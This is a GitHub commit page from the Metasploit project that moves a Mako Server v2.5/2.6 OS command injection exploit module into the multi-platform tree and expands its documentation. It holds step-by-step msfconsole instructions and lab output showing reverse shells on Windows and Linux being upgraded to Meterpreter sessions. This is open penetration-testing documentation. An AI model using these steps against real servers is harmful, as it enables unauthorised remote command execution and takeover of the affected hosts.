Skip to content

Commit c740f43

Browse files
committed
Land rapid7#9197, Cleanup Mako Server exploit
2 parents f357efd + 4219959 commit c740f43

File tree

2 files changed

+108
-20
lines changed

2 files changed

+108
-20
lines changed

documentation/modules/exploit/windows/http/makoserver_cmd_exec.md renamed to documentation/modules/exploit/multi/http/makoserver_cmd_exec.md

Lines changed: 103 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
## Description
22

3-
This module exploits a vulnerability found in Mako Server v2.5.
3+
This module exploits a vulnerability found in Mako Server v2.5, 2.6.
44
It's possible to inject arbitrary OS commands in the Mako Server tutorial page through a PUT request to save.lsp. Attacker input will be saved on the victims machine and can be executed by sending a GET request to manage.lsp.
55

66
Based on the public PoC found here: https://blogs.securiteam.com/index.php/archives/3391
@@ -9,33 +9,48 @@
99

1010
[Mako Server](https://makoserver.net) is an application framework for designing web and IoT applications.
1111

12-
This module has been verified against the following Mako Server versions for Windows XP SP3 and Windows 7 SP1 (x86/x64):
12+
This module has been verified against the following Mako Server versions for Windows XP SP3, Windows 7 SP1 and Linux Ubuntu 16.04 LTS:
1313
- v2.5
14+
- v2.6
1415

1516
Links:
16-
- [Windows installer](https://makoserver.net/download/mako.windows.x86.exe)
17+
- [Windows x86 installer](https://makoserver.net/download/mako.windows.x86.exe)
1718
- [Windows download page](https://makoserver.net/download/windows)
18-
- [Documentation](https://makoserver.net/documentation/manual/)
19+
- [Linux x64 installer](https://makoserver.net/download/mako.linux-x64.tar.gz)
20+
- [Linux download page](https://makoserver.net/download/linux-x86)
21+
- [Documentation](https://makoserver.net/download/manual)
1922

2023
## References for vulnerability
2124
- https://blogs.securiteam.com/index.php/archives/3391
2225
- https://www.exploit-db.com/exploits/42683
2326

24-
## Verification Steps
27+
## Verification Steps for Windows
2528

2629
1. Run the installer "mako.windows.x86" on a Windows 7 SP1 (x86/x64) target (with Powershell for this example to work)
2730
2. After installer finishes, double click the "Mako-Demo" shortcut on the desktop
28-
3. Start msfconsole on host
29-
4. Do: ```use exploit/windows/http/makoserver_cmd_exec```
30-
5. Do: ```set RHOST <IP address of target system>```
31-
6. Do: ```set PAYLOAD cmd/windows/reverse_powershell```
32-
7. Do: ```set LHOST <IP address of host system>```
33-
8. Do: ```exploit```
34-
9. You should get a Windows command shell
31+
4. Start msfconsole on host
32+
5. Do: ```use exploit/multi/http/makoserver_cmd_exec```
33+
6. Do: ```set RHOST <IP address of target system>```
34+
7. Do: ```set PAYLOAD cmd/windows/reverse_powershell```
35+
8. Do: ```set LHOST <IP address of host system>```
36+
9. Do: ```exploit```
37+
10. You should get a Windows command shell
38+
39+
## Verification Steps for Linux
40+
41+
1. Extract the "mako.linux-x64.tar.gz" on a Linux Ubuntu 16.04 LTS (x64) target (with Python for this example to work)
42+
2. From inside the extracted folder, do ```./rundemo.sh```
43+
4. Start msfconsole on host
44+
5. Do: ```use exploit/multi/http/makoserver_cmd_exec```
45+
6. Do: ```set RHOST <IP address of target system>```
46+
7. Do: ```set PAYLOAD cmd/unix/python_reverse```
47+
8. Do: ```set LHOST <IP address of host system>```
48+
9. Do: ```exploit```
49+
10. You should get a Linux command shell (may need to wait ~30 seconds)
3550

3651
## Example Output
3752
```
38-
msf > use exploit/windows/http/makoserver_cmd_exec
53+
msf > use exploit/multi/http/makoserver_cmd_exec
3954
msf exploit(makoserver_cmd_exec) > set RHOST 10.10.10.3
4055
RHOST => 10.10.10.3
4156
msf exploit(makoserver_cmd_exec) > set PAYLOAD cmd/windows/reverse_powershell
@@ -57,7 +72,7 @@ C:\Users\Smith\Downloads\MakoServer>
5772

5873
## Example Verbose Output
5974
```
60-
msf > use exploit/windows/http/makoserver_cmd_exec
75+
msf > use exploit/multi/http/makoserver_cmd_exec
6176
msf exploit(makoserver_cmd_exec) > set RHOST 10.10.10.3
6277
RHOST => 10.10.10.3
6378
msf exploit(makoserver_cmd_exec) > set VERBOSE true
@@ -94,7 +109,7 @@ C:\Users\Smith\Downloads\MakoServer>
94109
A typical scenario would be to obtain a Windows command shell and then upgrade to a Meterpreter session:
95110

96111
```
97-
msf > use exploit/windows/http/makoserver_cmd_exec
112+
msf > use exploit/multi/http/makoserver_cmd_exec
98113
msf exploit(makoserver_cmd_exec) > set RHOST 10.10.10.2
99114
RHOST => 10.10.10.2
100115
msf exploit(makoserver_cmd_exec) > set PAYLOAD cmd/windows/reverse_powershell
@@ -161,3 +176,76 @@ C:\Users\Smith\Downloads\MakoServer>
161176
Logged On Users : 2
162177
Meterpreter : x86/windows
163178
```
179+
180+
### Targeting Linux Ubuntu 16.04 LTS x64 running Mako Server v2.5
181+
182+
A typical scenario would be to obtain a Linux command shell and then upgrade to a Meterpreter session:
183+
184+
```
185+
msf > use exploit/multi/http/makoserver_cmd_exec
186+
msf exploit(makoserver_cmd_exec) > set RHOST 10.10.10.2
187+
RHOST => 10.10.10.2
188+
msf exploit(makoserver_cmd_exec) > set PAYLOAD cmd/unix/reverse_python
189+
PAYLOAD => cmd/unix/reverse_python
190+
msf exploit(makoserver_cmd_exec) > set LHOST 10.10.10.4
191+
LHOST => 10.10.10.4
192+
msf exploit(makoserver_cmd_exec) > check
193+
[*] 10.10.10.2:80 The target appears to be vulnerable.
194+
msf exploit(makoserver_cmd_exec) > exploit
195+
196+
[*] Started reverse TCP handler on 10.10.10.4:4444
197+
[*] Sending payload to target...
198+
[*] Command shell session 1 opened (10.10.10.4:4444 -> 10.10.10.2:57888) at 2017-11-10 15:52:33 -0500
199+
200+
ls
201+
LICENSE.txt
202+
mako
203+
mako.zip
204+
README.txt
205+
rundemo.sh
206+
tutorial
207+
^Z
208+
Background session 1? [y/N] y
209+
msf exploit(makoserver_cmd_exec) > use multi/manage/shell_to_meterpreter
210+
msf post(shell_to_meterpreter) > sessions -l
211+
212+
Active sessions
213+
===============
214+
215+
Id Name Type Information Connection
216+
-- ---- ---- ----------- ----------
217+
1 shell cmd/unix 10.10.10.4:4444 -> 10.10.10.2:57888 (10.10.10.2)
218+
219+
msf post(shell_to_meterpreter) > set SESSION 1
220+
SESSION => 1
221+
msf post(shell_to_meterpreter) > set LPORT 8080
222+
LPORT => 8080
223+
msf post(shell_to_meterpreter) > exploit
224+
225+
[*] Upgrading session ID: 1
226+
[*] Starting exploit/multi/handler
227+
[*] Started reverse TCP handler on 10.10.10.4:8080
228+
[*] Sending stage (847604 bytes) to 10.10.10.2
229+
[*] Meterpreter session 2 opened (10.10.10.4:8080 -> 10.10.10.2:60448) at 2017-11-10 15:54:38 -0500
230+
[*] Command stager progress: 100.00% (736/736 bytes)
231+
[*] Post module execution completed
232+
msf post(shell_to_meterpreter) > sessions -l
233+
234+
Active sessions
235+
===============
236+
237+
Id Name Type Information Connection
238+
-- ---- ---- ----------- ----------
239+
1 shell cmd/unix 10.10.10.4:4444 -> 10.10.10.2:57888 (10.10.10.2)
240+
2 meterpreter x86/linux uid=1000, gid=1000, euid=1000, egid=1000 @ 10.10.10.2 10.10.10.4:8080 -> 10.10.10.2:60448 (10.10.10.2)
241+
msf post(shell_to_meterpreter) > sessions -i 2
242+
[*] Starting interaction with 2...
243+
244+
meterpreter > getuid
245+
Server username: uid=1000, gid=1000, euid=1000, egid=1000
246+
meterpreter > sysinfo
247+
Computer : 10.10.10.2
248+
OS : Ubuntu 16.04 (Linux 4.10.0-35-generic)
249+
Architecture : x64
250+
Meterpreter : x86/linux
251+
```

modules/exploits/windows/http/makoserver_cmd_exec.rb renamed to modules/exploits/multi/http/makoserver_cmd_exec.rb

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -4,15 +4,15 @@
44
##
55

66
class MetasploitModule < Msf::Exploit::Remote
7-
Rank = GoodRanking
7+
Rank = ExcellentRanking
88

99
include Msf::Exploit::Remote::HttpClient
1010

1111
def initialize(info = {})
1212
super(update_info(info,
13-
'Name' => 'Mako Server v2.5 OS Command Injection RCE',
13+
'Name' => 'Mako Server v2.5, 2.6 OS Command Injection RCE',
1414
'Description' => %q{
15-
This module exploits a vulnerability found in Mako Server v2.5.
15+
This module exploits a vulnerability found in Mako Server v2.5, 2.6.
1616
It's possible to inject arbitrary OS commands in the Mako Server
1717
tutorial page through a PUT request to save.lsp.
1818
@@ -31,10 +31,10 @@ def initialize(info = {})
3131
['URL', 'https://blogs.securiteam.com/index.php/archives/3391']
3232
],
3333
'Arch' => ARCH_CMD,
34-
'Platform' => 'win',
34+
'Platform' => %w[win unix],
3535
'Targets' =>
3636
[
37-
['Mako Server v2.5 - Windows x86/x64', { }]
37+
['Mako Server v2.5, 2.6', {}]
3838
],
3939
'DefaultTarget' => 0,
4040
'Privileged' => false,

0 commit comments

Comments
 (0)